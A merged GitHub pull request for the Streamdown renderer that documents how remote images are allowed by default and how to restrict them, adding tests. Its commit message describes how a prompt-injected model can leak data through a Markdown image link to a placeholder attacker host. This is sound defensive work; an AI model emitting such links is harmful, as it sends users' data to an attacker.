Skip to content

docs(security): warn that remote images are allowed by default and show how to restrict them - #658

Merged
farnabaz merged 1 commit into
vercel:mainfrom
Louayzouaoui1:fix/harden-image-origin-default
Oct 14, 2026
Merged

farnabaz merged 1 commit into
vercel:mainfrom
Louayzouaoui1:fix/harden-image-origin-default

Conversation

@Louayzouaoui1

Copy link
Copy Markdown
Contributor

Description

Documents that Streamdown renders remote images by default and shows how to restrict them, instead of changing the default. Related to #640 (docs-only follow-up, as discussed there: a restrictive default would be a breaking change and needs a maintainer decision on defaultOrigin).

Type of Change

  • Documentation update

Related Issues

Related to #640

Changes Made

  • security.mdx: states clearly that remote images are allowed by default and that omitting rehype-raw does not restrict Markdown images (![](...)).
  • security.mdx: explains that non-matching images are never requested, and that rehype-harden requires defaultOrigin when allowedImagePrefixes / allowedLinkPrefixes are restricted.
  • configuration.mdx: one-line pointer to the restriction section.
  • A test that pins the current behaviour (default allows remote images, allowedImagePrefixes blocks the request for both Markdown and raw <img>) so the docs cannot drift from the code.
  • Patch changeset.

Testing

  • All existing tests pass
  • Added new tests for the changes

Checklist

  • I have performed a self-review of my own code
  • I have made corresponding changes to the documentation
  • I have added tests that prove my fix is effective or that my feature works
  • I have created a changeset (pnpm changeset)
  • All my commits are signed

…ow how to restrict them

The default rehype-harden config allows images from any origin, so a
prompt-injected model can exfiltrate data via ![](https://attacker/?d=...).
Add a prominent warning, fix the Restricting Images example (it omitted the
required defaultOrigin and would throw), note that omitting rehype-raw does
not restrict Markdown images, and add tests pinning the default and the
recommended hardened config.

Refs vercel#640
@vercel

vercel Bot commented Oct 7, 2026

Copy link
Copy Markdown
Contributor

@Louayzouaoui1 is attempting to deploy a commit to the Vercel Team on Vercel.

A member of the Team first needs to authorize it.

@farnabaz farnabaz left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, Thanks

@farnabaz
farnabaz merged commit 70f6d07 into vercel:main Oct 14, 2026
5 of 6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants